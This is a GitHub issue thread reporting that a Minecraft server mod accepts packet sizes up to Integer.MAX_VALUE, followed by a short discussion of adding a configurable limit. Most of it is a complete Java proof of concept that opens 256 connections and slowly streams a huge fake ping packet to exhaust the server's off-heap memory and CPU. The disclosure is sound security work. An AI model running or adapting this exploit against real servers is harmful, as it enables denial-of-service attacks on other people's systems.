allow to set limit to prevent abusing large packet
Closed this issue ยท 4 comments
Hi, I discover that this mod allow / accept large packet size such as Integer.MAX_VALUE and cause huge offheap allocation (offheap mean it bypass Xmx)
this example code will send huge ping packet to server and cause high cpu usage + high memory usage
import java.io.OutputStream;
import java.util.Arrays;
public class OffHeapBuster {
private static final byte[] ZEROS = new byte[1048576];
// tune connection for impact
private static final int CONNECTIONS = 256;
private static final int PACKET_SIZE = Integer.MAX_VALUE - 10;
private static final int SEGMENT_BITS = 0x7F;
private static final int CONTINUE_BIT = 0x80;
private static final byte[] MAGIC;
// slow down after this threshold to prevent gc to clear buffer
private static int SLOW_THRESHOLD = 1073741825;
static {
byte[] out = new byte[20];
var idx = writeVarInt(PACKET_SIZE, out);
out[idx++] = 1; // ping
out[idx++] = 0; // zero
MAGIC = Arrays.copyOf(out, idx);
}
public static void main(String[] args) throws Exception {
for (int i = 0; i < CONNECTIONS; i++) {
Thread.sleep(200);
new Thread(() -> nuke("localhost", 25565)).start();
}
}
// https://wiki.vg/Protocol#Type:VarInt
static int writeVarInt(int value, byte[] out) {
int count = 0;
while (true) {
if ((value & ~SEGMENT_BITS) == 0) {
out[count++] = (byte) value;
return count;
}
//writeByte((value & SEGMENT_BITS) | CONTINUE_BIT);
out[count++] = (byte) ((value & SEGMENT_BITS) | CONTINUE_BIT);
// Note: >>> means that the sign bit is shifted with the rest of the number rather than being left alone
value >>>= 7;
}
}
static void nuke(String host, int port) {
while (true) {
try {
var tcp = new java.net.Socket(host, port);
System.out.println(Thread.currentThread().getName() + " connected");
var tx = tcp.getOutputStream();
writeUntil(tx, SLOW_THRESHOLD, 131072, 10);
writeUntil(tx, (Integer.MAX_VALUE - SLOW_THRESHOLD) - 2, 8193, 1000);
} catch (Exception e) {
System.out.println(Thread.currentThread().getName() + " error:" + e.getMessage());
}
}
}
static void writeUntil(OutputStream outputStream, int amount, int chunkSize, int delay) throws Exception {
var remaining = amount;
while (remaining > 0) {
var write = Math.min(Math.min(chunkSize, remaining), ZEROS.length);
outputStream.write(ZEROS, 0, write);
outputStream.flush();
Thread.sleep(delay);
remaining -= write;
}
}
}
@Wireless4024 Like it?
look good, and I think you should leave the default value as is in config and let user to adjust them later (but this requires breaking change in version bump).
and probably allow logging peak packet size so they can understand how much size they need.
look good, and I think you should leave the default value as is in config and let user to adjust them later (but this requires breaking change in version bump). and probably allow logging peak packet size so they can understand how much size they need.
I set variables * 100 by default so people don't have to change them